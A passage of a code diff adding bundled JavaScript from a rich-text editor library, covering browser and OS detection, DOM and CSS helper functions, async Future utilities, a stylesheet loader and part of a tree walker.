+        var monstrosity = contains$2(uastring, 'edge/') && contains$2(uastring, 'chrome') && contains$2(uastring, 'safari') && contains$2(uastring, 'applewebkit');
+        return monstrosity;
+      }
+    },
+    {
+      name: 'Chrome',
+      versionRegexes: [
+        /.*?chrome\/([0-9]+)\.([0-9]+).*/,
+        normalVersionRegex
+      ],
+      search: function (uastring) {
+        return contains$2(uastring, 'chrome') && !contains$2(uastring, 'chromeframe');
+      }
+    },
+    {
+      name: 'IE',
+      versionRegexes: [
+        /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
+        /.*?rv:([0-9]+)\.([0-9]+).*/
+      ],
+      search: function (uastring) {
+        return contains$2(uastring, 'msie') || contains$2(uastring, 'trident');
+      }
+    },
+    {
+      name: 'Opera',
+      versionRegexes: [
+        normalVersionRegex,
+        /.*?opera\/([0-9]+)\.([0-9]+).*/
+      ],
+      search: checkContains('opera')
+    },
+    {
+      name: 'Firefox',
+      versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
+      search: checkContains('firefox')
+    },
+    {
+      name: 'Safari',
+      versionRegexes: [
+        normalVersionRegex,
+        /.*?cpu os ([0-9]+)_([0-9]+).*/
+      ],
+      search: function (uastring) {
+        return (contains$2(uastring, 'safari') || contains$2(uastring, 'mobile/')) && contains$2(uastring, 'applewebkit');
+      }
+    }
+  ];
+  var oses = [
+    {
+      name: 'Windows',
+      search: checkContains('win'),
+      versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
+    },
+    {
+      name: 'iOS',
+      search: function (uastring) {
+        return contains$2(uastring, 'iphone') || contains$2(uastring, 'ipad');
+      },
+      versionRegexes: [
+        /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
+        /.*cpu os ([0-9]+)_([0-9]+).*/,
+        /.*cpu iphone os ([0-9]+)_([0-9]+).*/
+      ]
+    },
+    {
+      name: 'Android',
+      search: checkContains('android'),
+      versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
+    },
+    {
+      name: 'OSX',
+      search: checkContains('os x'),
+      versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]
+    },
+    {
+      name: 'Linux',
+      search: checkContains('linux'),
+      versionRegexes: []
+    },
+    {
+      name: 'Solaris',
+      search: checkContains('sunos'),
+      versionRegexes: []
+    },
+    {
+      name: 'FreeBSD',
+      search: checkContains('freebsd'),
+      versionRegexes: []
+    }
+  ];
+  var $_5exylhwjjgwe7kx = {
+    browsers: constant(browsers),
+    oses: constant(oses)
+  };
+
+  var detect$2 = function (userAgent) {
+    var browsers = $_5exylhwjjgwe7kx.browsers();
+    var oses = $_5exylhwjjgwe7kx.oses();
+    var browser = $_5cav46vjjgwe7kq.detectBrowser(browsers, userAgent).fold($_66ohnorjjgwe7k7.unknown, $_66ohnorjjgwe7k7.nu);
+    var os = $_5cav46vjjgwe7kq.detectOs(oses, userAgent).fold($_m4ezttjjgwe7kg.unknown, $_m4ezttjjgwe7kg.nu);
+    var deviceType = DeviceType(os, browser, userAgent);
+    return {
+      browser: browser,
+      os: os,
+      deviceType: deviceType
+    };
+  };
+  var $_b73hs8qjjgwe7k5 = { detect: detect$2 };
+
+  var detect$3 = cached(function () {
+    var userAgent = navigator.userAgent;
+    return $_b73hs8qjjgwe7k5.detect(userAgent);
+  });
+  var $_7vg267ojjgwe7k0 = { detect: detect$3 };
+
+  var fromHtml = function (html, scope) {
+    var doc = scope || document;
+    var div = doc.createElement('div');
+    div.innerHTML = html;
+    if (!div.hasChildNodes() || div.childNodes.length > 1) {
+      console.error('HTML does not have a single root node', html);
+      throw 'HTML must have a single root node';
+    }
+    return fromDom(div.childNodes[0]);
+  };
+  var fromTag = function (tag, scope) {
+    var doc = scope || document;
+    var node = doc.createElement(tag);
+    return fromDom(node);
+  };
+  var fromText = function (text, scope) {
+    var doc = scope || document;
+    var node = doc.createTextNode(text);
+    return fromDom(node);
+  };
+  var fromDom = function (node) {
+    if (node === null || node === undefined)
+      throw new Error('Node cannot be null or undefined');
+    return { dom: constant(node) };
+  };
+  var fromPoint = function (docElm, x, y) {
+    var doc = docElm.dom();
+    return Option.from(doc.elementFromPoint(x, y)).map(fromDom);
+  };
+  var Element$$1 = {
+    fromHtml: fromHtml,
+    fromTag: fromTag,
+    fromText: fromText,
+    fromDom: fromDom,
+    fromPoint: fromPoint
+  };
+
+  var $_9ssocf12jjgwe7lr = {
+    ATTRIBUTE: Node.ATTRIBUTE_NODE,
+    CDATA_SECTION: Node.CDATA_SECTION_NODE,
+    COMMENT: Node.COMMENT_NODE,
+    DOCUMENT: Node.DOCUMENT_NODE,
+    DOCUMENT_TYPE: Node.DOCUMENT_TYPE_NODE,
+    DOCUMENT_FRAGMENT: Node.DOCUMENT_FRAGMENT_NODE,
+    ELEMENT: Node.ELEMENT_NODE,
+    TEXT: Node.TEXT_NODE,
+    PROCESSING_INSTRUCTION: Node.PROCESSING_INSTRUCTION_NODE,
+    ENTITY_REFERENCE: Node.ENTITY_REFERENCE_NODE,
+    ENTITY: Node.ENTITY_NODE,
+    NOTATION: Node.NOTATION_NODE
+  };
+
+  var name = function (element) {
+    var r = element.dom().nodeName;
+    return r.toLowerCase();
+  };
+  var type = function (element) {
+    return element.dom().nodeType;
+  };
+  var value = function (element) {
+    return element.dom().nodeValue;
+  };
+  var isType$1 = function (t) {
+    return function (element) {
+      return type(element) === t;
+    };
+  };
+  var isComment = function (element) {
+    return type(element) === $_9ssocf12jjgwe7lr.COMMENT || name(element) === '#comment';
+  };
+  var isElement = isType$1($_9ssocf12jjgwe7lr.ELEMENT);
+  var isText = isType$1($_9ssocf12jjgwe7lr.TEXT);
+  var isDocument = isType$1($_9ssocf12jjgwe7lr.DOCUMENT);
+  var $_fxxo5411jjgwe7lq = {
+    name: name,
+    type: type,
+    value: value,
+    isElement: isElement,
+    isText: isText,
+    isDocument: isDocument,
+    isComment: isComment
+  };
+
+  var keys = Object.keys;
+  var each$3 = function (obj, f) {
+    var props = keys(obj);
+    for (var k = 0, len = props.length; k < len; k++) {
+      var i = props[k];
+      var x = obj[i];
+      f(x, i, obj);
+    }
+  };
+  var map$2 = function (obj, f) {
+    return tupleMap(obj, function (x, i, obj) {
+      return {
+        k: i,
+        v: f(x, i, obj)
+      };
+    });
+  };
+  var tupleMap = function (obj, f) {
+    var r = {};
+    each$3(obj, function (x, i) {
+      var tuple = f(x, i, obj);
+      r[tuple.k] = tuple.v;
+    });
+    return r;
+  };
+  var bifilter = function (obj, pred) {
+    var t = {};
+    var f = {};
+    each$3(obj, function (x, i) {
+      var branch = pred(x, i) ? t : f;
+      branch[i] = x;
+    });
+    return {
+      t: t,
+      f: f
+    };
+  };
+
+  var rawSet = function (dom, key, value) {
+    if (isString(value) || isBoolean(value) || isNumber(value)) {
+      dom.setAttribute(key, value + '');
+    } else {
+      console.error('Invalid call to Attr.set. Key ', key, ':: Value ', value, ':: Element ', dom);
+      throw new Error('Attribute value was not simple');
+    }
+  };
+  var set = function (element, key, value) {
+    rawSet(element.dom(), key, value);
+  };
+  var setAll = function (element, attrs) {
+    var dom = element.dom();
+    each$3(attrs, function (v, k) {
+      rawSet(dom, k, v);
+    });
+  };
+  var get = function (element, key) {
+    var v = element.dom().getAttribute(key);
+    return v === null ? undefined : v;
+  };
+  var has = function (element, key) {
+    var dom = element.dom();
+    return dom && dom.hasAttribute ? dom.hasAttribute(key) : false;
+  };
+  var remove = function (element, key) {
+    element.dom().removeAttribute(key);
+  };
+  var hasNone = function (element) {
+    var attrs = element.dom().attributes;
+    return attrs === undefined || attrs === null || attrs.length === 0;
+  };
+  var clone = function (element) {
+    return foldl(element.dom().attributes, function (acc, attr) {
+      acc[attr.name] = attr.value;
+      return acc;
+    }, {});
+  };
+  var transferOne = function (source, destination, attr) {
+    if (has(source, attr) && !has(destination, attr))
+      set(destination, attr, get(source, attr));
+  };
+  var transfer = function (source, destination, attrs) {
+    if (!$_fxxo5411jjgwe7lq.isElement(source) || !$_fxxo5411jjgwe7lq.isElement(destination))
+      return;
+    each(attrs, function (attr) {
+      transferOne(source, destination, attr);
+    });
+  };
+  var $_etx7gr15jjgwe7mr = {
+    clone: clone,
+    set: set,
+    setAll: setAll,
+    get: get,
+    has: has,
+    remove: remove,
+    hasNone: hasNone,
+    transfer: transfer
+  };
+
+  var inBody = function (element) {
+    var dom = $_fxxo5411jjgwe7lq.isText(element) ? element.dom().parentNode : element.dom();
+    return dom !== undefined && dom !== null && dom.ownerDocument.body.contains(dom);
+  };
+  var body = cached(function () {
+    return getBody(Element$$1.fromDom(document));
+  });
+  var getBody = function (doc) {
+    var body = doc.dom().body;
+    if (body === null || body === undefined)
+      throw 'Body is not available yet';
+    return Element$$1.fromDom(body);
+  };
+  var $_eu440l16jjgwe7n2 = {
+    body: body,
+    getBody: getBody,
+    inBody: inBody
+  };
+
+  var isSupported = function (dom) {
+    return dom.style !== undefined;
+  };
+  var $_1br9d717jjgwe7n9 = { isSupported: isSupported };
+
+  var internalSet = function (dom, property, value) {
+    if (!isString(value)) {
+      console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
+      throw new Error('CSS value must be a string: ' + value);
+    }
+    if ($_1br9d717jjgwe7n9.isSupported(dom))
+      dom.style.setProperty(property, value);
+  };
+  var internalRemove = function (dom, property) {
+    if ($_1br9d717jjgwe7n9.isSupported(dom))
+      dom.style.removeProperty(property);
+  };
+  var set$1 = function (element, property, value) {
+    var dom = element.dom();
+    internalSet(dom, property, value);
+  };
+  var setAll$1 = function (element, css) {
+    var dom = element.dom();
+    each$3(css, function (v, k) {
+      internalSet(dom, k, v);
+    });
+  };
+  var setOptions = function (element, css) {
+    var dom = element.dom();
+    each$3(css, function (v, k) {
+      v.fold(function () {
+        internalRemove(dom, k);
+      }, function (value) {
+        internalSet(dom, k, value);
+      });
+    });
+  };
+  var get$1 = function (element, property) {
+    var dom = element.dom();
+    var styles = window.getComputedStyle(dom);
+    var r = styles.getPropertyValue(property);
+    var v = r === '' && !$_eu440l16jjgwe7n2.inBody(element) ? getUnsafeProperty(dom, property) : r;
+    return v === null ? undefined : v;
+  };
+  var getUnsafeProperty = function (dom, property) {
+    return $_1br9d717jjgwe7n9.isSupported(dom) ? dom.style.getPropertyValue(property) : '';
+  };
+  var getRaw = function (element, property) {
+    var dom = element.dom();
+    var raw = getUnsafeProperty(dom, property);
+    return Option.from(raw).filter(function (r) {
+      return r.length > 0;
+    });
+  };
+  var getAllRaw = function (element) {
+    var css = {};
+    var dom = element.dom();
+    if ($_1br9d717jjgwe7n9.isSupported(dom)) {
+      for (var i = 0; i < dom.style.length; i++) {
+        var ruleName = dom.style.item(i);
+        css[ruleName] = dom.style[ruleName];
+      }
+    }
+    return css;
+  };
+  var isValidValue = function (tag, property, value) {
+    var element = Element$$1.fromTag(tag);
+    set$1(element, property, value);
+    var style = getRaw(element, property);
+    return style.isSome();
+  };
+  var remove$1 = function (element, property) {
+    var dom = element.dom();
+    internalRemove(dom, property);
+    if ($_etx7gr15jjgwe7mr.has(element, 'style') && trim$2($_etx7gr15jjgwe7mr.get(element, 'style')) === '') {
+      $_etx7gr15jjgwe7mr.remove(element, 'style');
+    }
+  };
+  var preserve = function (element, f) {
+    var oldStyles = $_etx7gr15jjgwe7mr.get(element, 'style');
+    var result = f(element);
+    var restore = oldStyles === undefined ? $_etx7gr15jjgwe7mr.remove : $_etx7gr15jjgwe7mr.set;
+    restore(element, 'style', oldStyles);
+    return result;
+  };
+  var copy = function (source, target) {
+    var sourceDom = source.dom();
+    var targetDom = target.dom();
+    if ($_1br9d717jjgwe7n9.isSupported(sourceDom) && $_1br9d717jjgwe7n9.isSupported(targetDom)) {
+      targetDom.style.cssText = sourceDom.style.cssText;
+    }
+  };
+  var reflow = function (e) {
+    return e.dom().offsetWidth;
+  };
+  var transferOne$1 = function (source, destination, style) {
+    getRaw(source, style).each(function (value) {
+      if (getRaw(destination, style).isNone())
+        set$1(destination, style, value);
+    });
+  };
+  var transfer$1 = function (source, destination, styles) {
+    if (!$_fxxo5411jjgwe7lq.isElement(source) || !$_fxxo5411jjgwe7lq.isElement(destination))
+      return;
+    each(styles, function (style) {
+      transferOne$1(source, destination, style);
+    });
+  };
+  var $_e0ei5w13jjgwe7m4 = {
+    copy: copy,
+    set: set$1,
+    preserve: preserve,
+    setAll: setAll$1,
+    setOptions: setOptions,
+    remove: remove$1,
+    get: get$1,
+    getRaw: getRaw,
+    getAllRaw: getAllRaw,
+    isValidValue: isValidValue,
+    reflow: reflow,
+    transfer: transfer$1
+  };
+
+  var Immutable = function () {
+    var fields = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      fields[_i] = arguments[_i];
+    }
+    return function () {
+      var values = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        values[_i] = arguments[_i];
+      }
+      if (fields.length !== values.length) {
+        throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments');
+      }
+      var struct = {};
+      each(fields, function (name, i) {
+        struct[name] = constant(values[i]);
+      });
+      return struct;
+    };
+  };
+
+  var toArray$1 = function (target, f) {
+    var r = [];
+    var recurse = function (e) {
+      r.push(e);
+      return f(e);
+    };
+    var cur = f(target);
+    do {
+      cur = cur.bind(recurse);
+    } while (cur.isSome());
+    return r;
+  };
+  var $_2hsygk1djjgwe7o3 = { toArray: toArray$1 };
+
+  var node = function () {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('Node');
+    return f;
+  };
+  var compareDocumentPosition = function (a, b, match) {
+    return (a.compareDocumentPosition(b) & match) !== 0;
+  };
+  var documentPositionPreceding = function (a, b) {
+    return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING);
+  };
+  var documentPositionContainedBy = function (a, b) {
+    return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY);
+  };
+  var $_g79q0i1fjjgwe7on = {
+    documentPositionPreceding: documentPositionPreceding,
+    documentPositionContainedBy: documentPositionContainedBy
+  };
+
+  var ELEMENT = $_9ssocf12jjgwe7lr.ELEMENT;
+  var DOCUMENT = $_9ssocf12jjgwe7lr.DOCUMENT;
+  var is$1 = function (element, selector) {
+    var elem = element.dom();
+    if (elem.nodeType !== ELEMENT)
+      return false;
+    else if (elem.matches !== undefined)
+      return elem.matches(selector);
+    else if (elem.msMatchesSelector !== undefined)
+      return elem.msMatchesSelector(selector);
+    else if (elem.webkitMatchesSelector !== undefined)
+      return elem.webkitMatchesSelector(selector);
+    else if (elem.mozMatchesSelector !== undefined)
+      return elem.mozMatchesSelector(selector);
+    else
+      throw new Error('Browser lacks native selectors');
+  };
+  var bypassSelector = function (dom) {
+    return dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT || dom.childElementCount === 0;
+  };
+  var all = function (selector, scope) {
+    var base = scope === undefined ? document : scope.dom();
+    return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), Element$$1.fromDom);
+  };
+  var one = function (selector, scope) {
+    var base = scope === undefined ? document : scope.dom();
+    return bypassSelector(base) ? Option.none() : Option.from(base.querySelector(selector)).map(Element$$1.fromDom);
+  };
+  var $_4yq1xp1gjjgwe7op = {
+    all: all,
+    is: is$1,
+    one: one
+  };
+
+  var eq = function (e1, e2) {
+    return e1.dom() === e2.dom();
+  };
+  var isEqualNode = function (e1, e2) {
+    return e1.dom().isEqualNode(e2.dom());
+  };
+  var member = function (element, elements) {
+    return exists(elements, curry(eq, element));
+  };
+  var regularContains = function (e1, e2) {
+    var d1 = e1.dom(), d2 = e2.dom();
+    return d1 === d2 ? false : d1.contains(d2);
+  };
+  var ieContains = function (e1, e2) {
+    return $_g79q0i1fjjgwe7on.documentPositionContainedBy(e1.dom(), e2.dom());
+  };
+  var browser = $_7vg267ojjgwe7k0.detect().browser;
+  var contains$3 = browser.isIE() ? ieContains : regularContains;
+  var $_5raon11ejjgwe7o5 = {
+    eq: eq,
+    isEqualNode: isEqualNode,
+    member: member,
+    contains: contains$3,
+    is: $_4yq1xp1gjjgwe7op.is
+  };
+
+  var owner = function (element) {
+    return Element$$1.fromDom(element.dom().ownerDocument);
+  };
+  var documentElement = function (element) {
+    return Element$$1.fromDom(element.dom().ownerDocument.documentElement);
+  };
+  var defaultView = function (element) {
+    var el = element.dom();
+    var defaultView = el.ownerDocument.defaultView;
+    return Element$$1.fromDom(defaultView);
+  };
+  var parent = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.parentNode).map(Element$$1.fromDom);
+  };
+  var findIndex$2 = function (element) {
+    return parent(element).bind(function (p) {
+      var kin = children(p);
+      return findIndex(kin, function (elem) {
+        return $_5raon11ejjgwe7o5.eq(element, elem);
+      });
+    });
+  };
+  var parents = function (element, isRoot) {
+    var stop = isFunction(isRoot) ? isRoot : constant(false);
+    var dom = element.dom();
+    var ret = [];
+    while (dom.parentNode !== null && dom.parentNode !== undefined) {
+      var rawParent = dom.parentNode;
+      var parent = Element$$1.fromDom(rawParent);
+      ret.push(parent);
+      if (stop(parent) === true)
+        break;
+      else
+        dom = rawParent;
+    }
+    return ret;
+  };
+  var siblings = function (element) {
+    var filterSelf = function (elements) {
+      return filter(elements, function (x) {
+        return !$_5raon11ejjgwe7o5.eq(element, x);
+      });
+    };
+    return parent(element).map(children).map(filterSelf).getOr([]);
+  };
+  var offsetParent = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.offsetParent).map(Element$$1.fromDom);
+  };
+  var prevSibling = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.previousSibling).map(Element$$1.fromDom);
+  };
+  var nextSibling = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.nextSibling).map(Element$$1.fromDom);
+  };
+  var prevSiblings = function (element) {
+    return reverse($_2hsygk1djjgwe7o3.toArray(element, prevSibling));
+  };
+  var nextSiblings = function (element) {
+    return $_2hsygk1djjgwe7o3.toArray(element, nextSibling);
+  };
+  var children = function (element) {
+    var dom = element.dom();
+    return map(dom.childNodes, Element$$1.fromDom);
+  };
+  var child = function (element, index) {
+    var children = element.dom().childNodes;
+    return Option.from(children[index]).map(Element$$1.fromDom);
+  };
+  var firstChild = function (element) {
+    return child(element, 0);
+  };
+  var lastChild = function (element) {
+    return child(element, element.dom().childNodes.length - 1);
+  };
+  var childNodesCount = function (element) {
+    return element.dom().childNodes.length;
+  };
+  var hasChildNodes = function (element) {
+    return element.dom().hasChildNodes();
+  };
+  var spot = Immutable('element', 'offset');
+  var leaf = function (element, offset) {
+    var cs = children(element);
+    return cs.length > 0 && offset < cs.length ? spot(cs[offset], 0) : spot(element, offset);
+  };
+  var $_d3rmjp18jjgwe7nc = {
+    owner: owner,
+    defaultView: defaultView,
+    documentElement: documentElement,
+    parent: parent,
+    findIndex: findIndex$2,
+    parents: parents,
+    siblings: siblings,
+    prevSibling: prevSibling,
+    offsetParent: offsetParent,
+    prevSiblings: prevSiblings,
+    nextSibling: nextSibling,
+    nextSiblings: nextSiblings,
+    children: children,
+    child: child,
+    firstChild: firstChild,
+    lastChild: lastChild,
+    childNodesCount: childNodesCount,
+    hasChildNodes: hasChildNodes,
+    leaf: leaf
+  };
+
+  var browser$1 = $_7vg267ojjgwe7k0.detect().browser;
+  var firstElement = function (nodes) {
+    return find(nodes, $_fxxo5411jjgwe7lq.isElement);
+  };
+  var getTableCaptionDeltaY = function (elm) {
+    if (browser$1.isFirefox() && $_fxxo5411jjgwe7lq.name(elm) === 'table') {
+      return firstElement($_d3rmjp18jjgwe7nc.children(elm)).filter(function (elm) {
+        return $_fxxo5411jjgwe7lq.name(elm) === 'caption';
+      }).bind(function (caption) {
+        return firstElement($_d3rmjp18jjgwe7nc.nextSiblings(caption)).map(function (body) {
+          var bodyTop = body.dom().offsetTop;
+          var captionTop = caption.dom().offsetTop;
+          var captionHeight = caption.dom().offsetHeight;
+          return bodyTop <= captionTop ? -captionHeight : 0;
+        });
+      }).getOr(0);
+    } else {
+      return 0;
+    }
+  };
+  var getPos = function (body, elm, rootElm) {
+    var x = 0, y = 0, offsetParent;
+    var doc = body.ownerDocument;
+    var pos;
+    rootElm = rootElm ? rootElm : body;
+    if (elm) {
+      if (rootElm === body && elm.getBoundingClientRect && $_e0ei5w13jjgwe7m4.get(Element$$1.fromDom(body), 'position') === 'static') {
+        pos = elm.getBoundingClientRect();
+        x = pos.left + (doc.documentElement.scrollLeft || body.scrollLeft) - doc.documentElement.clientLeft;
+        y = pos.top + (doc.documentElement.scrollTop || body.scrollTop) - doc.documentElement.clientTop;
+        return {
+          x: x,
+          y: y
+        };
+      }
+      offsetParent = elm;
+      while (offsetParent && offsetParent !== rootElm && offsetParent.nodeType) {
+        x += offsetParent.offsetLeft || 0;
+        y += offsetParent.offsetTop || 0;
+        offsetParent = offsetParent.offsetParent;
+      }
+      offsetParent = elm.parentNode;
+      while (offsetParent && offsetParent !== rootElm && offsetParent.nodeType) {
+        x -= offsetParent.scrollLeft || 0;
+        y -= offsetParent.scrollTop || 0;
+        offsetParent = offsetParent.parentNode;
+      }
+      y += getTableCaptionDeltaY(Element$$1.fromDom(elm));
+    }
+    return {
+      x: x,
+      y: y
+    };
+  };
+  var $_3h7c3wnjjgwe7jl = { getPos: getPos };
+
+  var nu$3 = function (baseFn) {
+    var data = Option.none();
+    var callbacks = [];
+    var map$$1 = function (f) {
+      return nu$3(function (nCallback) {
+        get(function (data) {
+          nCallback(f(data));
+        });
+      });
+    };
+    var get = function (nCallback) {
+      if (isReady())
+        call(nCallback);
+      else
+        callbacks.push(nCallback);
+    };
+    var set = function (x) {
+      data = Option.some(x);
+      run(callbacks);
+      callbacks = [];
+    };
+    var isReady = function () {
+      return data.isSome();
+    };
+    var run = function (cbs) {
+      each(cbs, call);
+    };
+    var call = function (cb) {
+      data.each(function (x) {
+        setTimeout(function () {
+          cb(x);
+        }, 0);
+      });
+    };
+    baseFn(set);
+    return {
+      get: get,
+      map: map$$1,
+      isReady: isReady
+    };
+  };
+  var pure$1 = function (a) {
+    return nu$3(function (callback) {
+      callback(a);
+    });
+  };
+  var LazyValue = {
+    nu: nu$3,
+    pure: pure$1
+  };
+
+  var bounce = function (f) {
+    return function () {
+      var args = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        args[_i] = arguments[_i];
+      }
+      var me = this;
+      setTimeout(function () {
+        f.apply(me, args);
+      }, 0);
+    };
+  };
+
+  var nu$4 = function (baseFn) {
+    var get = function (callback) {
+      baseFn(bounce(callback));
+    };
+    var map = function (fab) {
+      return nu$4(function (callback) {
+        get(function (a) {
+          var value = fab(a);
+          callback(value);
+        });
+      });
+    };
+    var bind = function (aFutureB) {
+      return nu$4(function (callback) {
+        get(function (a) {
+          aFutureB(a).get(callback);
+        });
+      });
+    };
+    var anonBind = function (futureB) {
+      return nu$4(function (callback) {
+        get(function (a) {
+          futureB.get(callback);
+        });
+      });
+    };
+    var toLazy = function () {
+      return LazyValue.nu(get);
+    };
+    return {
+      map: map,
+      bind: bind,
+      anonBind: anonBind,
+      toLazy: toLazy,
+      get: get
+    };
+  };
+  var pure$2 = function (a) {
+    return nu$4(function (callback) {
+      callback(a);
+    });
+  };
+  var Future = {
+    nu: nu$4,
+    pure: pure$2
+  };
+
+  var par = function (asyncValues, nu) {
+    return nu(function (callback) {
+      var r = [];
+      var count = 0;
+      var cb = function (i) {
+        return function (value) {
+          r[i] = value;
+          count++;
+          if (count >= asyncValues.length) {
+            callback(r);
+          }
+        };
+      };
+      if (asyncValues.length === 0) {
+        callback([]);
+      } else {
+        each(asyncValues, function (asyncValue, i) {
+          asyncValue.get(cb(i));
+        });
+      }
+    });
+  };
+
+  var par$1 = function (futures) {
+    return par(futures, Future.nu);
+  };
+
+  var value$1 = function (o) {
+    var is = function (v) {
+      return o === v;
+    };
+    var or = function (opt) {
+      return value$1(o);
+    };
+    var orThunk = function (f) {
+      return value$1(o);
+    };
+    var map = function (f) {
+      return value$1(f(o));
+    };
+    var each = function (f) {
+      f(o);
+    };
+    var bind = function (f) {
+      return f(o);
+    };
+    var fold = function (_, onValue) {
+      return onValue(o);
+    };
+    var exists = function (f) {
+      return f(o);
+    };
+    var forall = function (f) {
+      return f(o);
+    };
+    var toOption = function () {
+      return Option.some(o);
+    };
+    return {
+      is: is,
+      isValue: always,
+      isError: never,
+      getOr: constant(o),
+      getOrThunk: constant(o),
+      getOrDie: constant(o),
+      or: or,
+      orThunk: orThunk,
+      fold: fold,
+      map: map,
+      each: each,
+      bind: bind,
+      exists: exists,
+      forall: forall,
+      toOption: toOption
+    };
+  };
+  var error = function (message) {
+    var getOrThunk = function (f) {
+      return f();
+    };
+    var getOrDie = function () {
+      return die(String(message))();
+    };
+    var or = function (opt) {
+      return opt;
+    };
+    var orThunk = function (f) {
+      return f();
+    };
+    var map = function (f) {
+      return error(message);
+    };
+    var bind = function (f) {
+      return error(message);
+    };
+    var fold = function (onError, _) {
+      return onError(message);
+    };
+    return {
+      is: never,
+      isValue: never,
+      isError: always,
+      getOr: identity,
+      getOrThunk: getOrThunk,
+      getOrDie: getOrDie,
+      or: or,
+      orThunk: orThunk,
+      fold: fold,
+      map: map,
+      each: noop,
+      bind: bind,
+      exists: never,
+      forall: always,
+      toOption: Option.none
+    };
+  };
+  var Result = {
+    value: value$1,
+    error: error
+  };
+
+  function StyleSheetLoader(document$$1, settings) {
+    var idCount = 0;
+    var loadedStates = {};
+    var maxLoadTime;
+    settings = settings || {};
+    maxLoadTime = settings.maxLoadTime || 5000;
+    var appendToHead = function (node) {
+      document$$1.getElementsByTagName('head')[0].appendChild(node);
+    };
+    var load = function (url, loadedCallback, errorCallback) {
+      var link, style, startTime, state;
+      var passed = function () {
+        var callbacks = state.passed;
+        var i = callbacks.length;
+        while (i--) {
+          callbacks[i]();
+        }
+        state.status = 2;
+        state.passed = [];
+        state.failed = [];
+      };
+      var failed = function () {
+        var callbacks = state.failed;
+        var i = callbacks.length;
+        while (i--) {
+          callbacks[i]();
+        }
+        state.status = 3;
+        state.passed = [];
+        state.failed = [];
+      };
+      var isOldWebKit = function () {
+        var webKitChunks = navigator.userAgent.match(/WebKit\/(\d*)/);
+        return !!(webKitChunks && parseInt(webKitChunks[1], 10) < 536);
+      };
+      var wait = function (testCallback, waitCallback) {
+        if (!testCallback()) {
+          if (new Date().getTime() - startTime < maxLoadTime) {
+            $_9o1ijaijjgwe7dm.setTimeout(waitCallback);
+          } else {
+            failed();
+          }
+        }
+      };
+      var waitForWebKitLinkLoaded = function () {
+        wait(function () {
+          var styleSheets = document$$1.styleSheets;
+          var styleSheet, i = styleSheets.length, owner;
+          while (i--) {
+            styleSheet = styleSheets[i];
+            owner = styleSheet.ownerNode ? styleSheet.ownerNode : styleSheet.owningElement;
+            if (owner && owner.id === link.id) {
+              passed();
+              return true;
+            }
+          }
+        }, waitForWebKitLinkLoaded);
+      };
+      var waitForGeckoLinkLoaded = function () {
+        wait(function () {
+          try {
+            var cssRules = style.sheet.cssRules;
+            passed();
+            return !!cssRules;
+          } catch (ex) {
+          }
+        }, waitForGeckoLinkLoaded);
+      };
+      url = $_6cwiepljjgwe7j4._addCacheSuffix(url);
+      if (!loadedStates[url]) {
+        state = {
+          passed: [],
+          failed: []
+        };
+        loadedStates[url] = state;
+      } else {
+        state = loadedStates[url];
+      }
+      if (loadedCallback) {
+        state.passed.push(loadedCallback);
+      }
+      if (errorCallback) {
+        state.failed.push(errorCallback);
+      }
+      if (state.status === 1) {
+        return;
+      }
+      if (state.status === 2) {
+        passed();
+        return;
+      }
+      if (state.status === 3) {
+        failed();
+        return;
+      }
+      state.status = 1;
+      link = document$$1.createElement('link');
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.id = 'u' + idCount++;
+      link.async = false;
+      link.defer = false;
+      startTime = new Date().getTime();
+      if ('onload' in link && !isOldWebKit()) {
+        link.onload = waitForWebKitLinkLoaded;
+        link.onerror = failed;
+      } else {
+        if (navigator.userAgent.indexOf('Firefox') > 0) {
+          style = document$$1.createElement('style');
+          style.textContent = '@import "' + url + '"';
+          waitForGeckoLinkLoaded();
+          appendToHead(style);
+          return;
+        }
+        waitForWebKitLinkLoaded();
+      }
+      appendToHead(link);
+      link.href = url;
+    };
+    var loadF = function (url) {
+      return Future.nu(function (resolve) {
+        load(url, compose(resolve, constant(Result.value(url))), compose(resolve, constant(Result.error(url))));
+      });
+    };
+    var unbox = function (result) {
+      return result.fold(identity, identity);
+    };
+    var loadAll = function (urls, success, failure) {
+      par$1(map(urls, loadF)).get(function (result) {
+        var parts = partition(result, function (r) {
+          return r.isValue();
+        });
+        if (parts.fail.length > 0) {
+          failure(parts.fail.map(unbox));
+        } else {
+          success(parts.pass.map(unbox));
+        }
+      });
+    };
+    return {
+      load: load,
+      loadAll: loadAll
+    };
+  }
+
+  function TreeWalker (startNode, rootNode) {
+    var node = startNode;
+    var findSibling = function (node, startName, siblingName, shallow) {
+      var sibling, parent;
+      if (node) {
+        if (!shallow && node[startName]) {
+          return node[startName];
+        }
+        if (node !== rootNode) {
+          sibling = node[siblingName];
+          if (sibling) {
+            return sibling;
+          }
+          for (parent = node.parentNode; parent && parent !== rootNode; parent = parent.parentNode) {
+            sibling = parent[siblingName];
+            if (sibling) {
+              return sibling;
+            }
+          }
+        }
+      }
+    };
+    var findPreviousNode = function (node, startName, siblingName, shallow) {
+      var sibling, parent, child;
+      if (node) {
+        sibling = node[siblingName];
+        if (rootNode && sibling === rootNode) {
+          return;
+        }
+        if (sibling) {
+          if (!shallow) {
+            for (child = sibling[startName]; child; child = child[startName]) {
+              if (!child[startName]) {
+                return child;
+              }
+            }
+          }
+          return sibling;
+        }
+        parent = node.parentNode;
+        if (parent && parent !== rootNode) {
+          return parent;
+        }
+      }
+    };
